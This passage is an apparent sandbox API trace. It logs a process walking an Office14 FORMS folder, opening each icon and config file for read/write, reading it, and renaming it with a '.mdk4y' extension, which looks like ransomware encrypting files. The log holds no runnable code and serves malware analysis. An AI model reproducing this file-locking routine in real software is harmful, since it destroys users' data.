(lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico.mdk4y")) returned 1 [0212.066] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.066] AreFileApisANSI () returned 1 [0212.066] GetACP () returned 0x4e4 [0212.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOMS.ICO", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="INFOMS.ICO", lpUsedDefaultChar=0x37dec0) returned 10 [0212.066] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828729600000) returned 1 [0212.066] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828729700000) returned 1 [0212.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828729800000) returned 1 [0212.068] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico.mdk4y")) returned 1 [0212.068] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.068] AreFileApisANSI () returned 1 [0212.068] GetACP () returned 0x4e4 [0212.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPM.CFG", cchWideChar=7, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="IPM.CFGICO", lpUsedDefaultChar=0x37dec0) returned 7 [0212.069] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828729900000) returned 1 [0212.069] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x31b, lpOverlapped=0x0) returned 1 [0212.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828730000000) returned 1 [0212.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828730000000) returned 1 [0212.071] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg.mdk4y")) returned 1 [0212.071] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.071] AreFileApisANSI () returned 1 [0212.071] GetACP () returned 0x4e4 [0212.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPML.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="IPML.ICOCO", lpUsedDefaultChar=0x37dec0) returned 8 [0212.071] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828730200000) returned 1 [0212.072] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828730300000) returned 1 [0212.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828730300000) returned 1 [0212.074] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico.mdk4y")) returned 1 [0212.075] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.075] AreFileApisANSI () returned 1 [0212.075] GetACP () returned 0x4e4 [0212.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPMS.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="IPMS.ICO", lpUsedDefaultChar=0x37dec0) returned 8 [0212.075] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828730500000) returned 1 [0212.075] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828730600000) returned 1 [0212.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828730600000) returned 1 [0212.077] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico.mdk4y")) returned 1 [0212.077] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.077] AreFileApisANSI () returned 1 [0212.077] GetACP () returned 0x4e4 [0212.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MMSL.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MMSL.ICO", lpUsedDefaultChar=0x37dec0) returned 8 [0212.077] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828730800000) returned 1 [0212.078] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2796, lpOverlapped=0x0) returned 1 [0212.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828738000000) returned 1 [0212.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828738000000) returned 1 [0212.150] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico.mdk4y")) returned 1 [0212.152] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.152] AreFileApisANSI () returned 1 [0212.152] GetACP () returned 0x4e4 [0212.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MMSS.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MMSS.ICO", lpUsedDefaultChar=0x37dec0) returned 8 [0212.152] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828738400000) returned 1 [0212.154] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8be, lpOverlapped=0x0) returned 1 [0212.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828738500000) returned 1 [0212.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828738500000) returned 1 [0212.156] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico.mdk4y")) returned 1 [0212.157] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.157] AreFileApisANSI () returned 1 [0212.157] GetACP () returned 0x4e4 [0212.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NOTE.CFG", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NOTE.CFG", lpUsedDefaultChar=0x37dec0) returned 8 [0212.157] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828738900000) returned 1 [0212.159] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x30d, lpOverlapped=0x0) returned 1 [0212.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828739100000) returned 1 [0212.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828739100000) returned 1 [0212.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg.mdk4y")) returned 1 [0212.163] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.163] AreFileApisANSI () returned 1 [0212.163] GetACP () returned 0x4e4 [0212.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NOTEL.ICO", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NOTEL.ICOO", lpUsedDefaultChar=0x37dec0) returned 9 [0212.163] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828739400000) returned 1 [0212.164] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828740400000) returned 1 [0212.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828740400000) returned 1 [0212.174] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico.mdk4y")) returned 1 [0212.176] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.176] AreFileApisANSI () returned 1 [0212.176] GetACP () returned 0x4e4 [0212.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NOTES.ICO", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NOTES.ICO", lpUsedDefaultChar=0x37dec0) returned 9 [0212.176] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.177] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828740700000) returned 1 [0212.177] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828741200000) returned 1 [0212.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828741200000) returned 1 [0212.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico.mdk4y")) returned 1 [0212.184] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.184] AreFileApisANSI () returned 1 [0212.184] GetACP () returned 0x4e4 [0212.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OMSMMS.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OMSMMS.CFG", lpUsedDefaultChar=0x37dec0) returned 10 [0212.184] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828741500000) returned 1 [0212.185] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x267, lpOverlapped=0x0) returned 1 [0212.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828741600000) returned 1 [0212.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828741600000) returned 1 [0212.186] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg.mdk4y")) returned 1 [0212.188] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.190] AreFileApisANSI () returned 1 [0212.190] GetACP () returned 0x4e4 [0212.190] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OMSSMS.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OMSSMS.CFG", lpUsedDefaultChar=0x37dec0) returned 10 [0212.190] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828742100000) returned 1 [0212.191] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x25b, lpOverlapped=0x0) returned 1 [0212.192] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828742200000) returned 1 [0212.192] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828742200000) returned 1 [0212.192] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg.mdk4y")) returned 1 [0212.214] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.214] AreFileApisANSI () returned 1 [0212.214] GetACP () returned 0x4e4 [0212.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OOFL.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OOFL.ICOFG", lpUsedDefaultChar=0x37dec0) returned 8 [0212.214] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828744500000) returned 1 [0212.215] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828744700000) returned 1 [0212.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828744700000) returned 1 [0212.217] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico.mdk4y")) returned 1 [0212.219] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.219] AreFileApisANSI () returned 1 [0212.219] GetACP () returned 0x4e4 [0212.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OOFS.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OOFS.ICO", lpUsedDefaultChar=0x37dec0) returned 8 [0212.220] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828745000000) returned 1 [0212.221] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828745200000) returned 1 [0212.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828745200000) returned 1 [0212.223] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico.mdk4y")) returned 1 [0212.225] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.225] AreFileApisANSI () returned 1 [0212.225] GetACP () returned 0x4e4 [0212.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OOFTMPL.CFG", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OOFTMPL.CFGG", lpUsedDefaultChar=0x37dec0) returned 11 [0212.225] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828745700000) returned 1 [0212.227] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x33c, lpOverlapped=0x0) returned 1 [0212.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828745800000) returned 1 [0212.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828745800000) returned 1 [0212.229] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg.mdk4y")) returned 1 [0212.230] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.230] AreFileApisANSI () returned 1 [0212.230] GetACP () returned 0x4e4 [0212.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POST.CFG", cchWideChar=8, 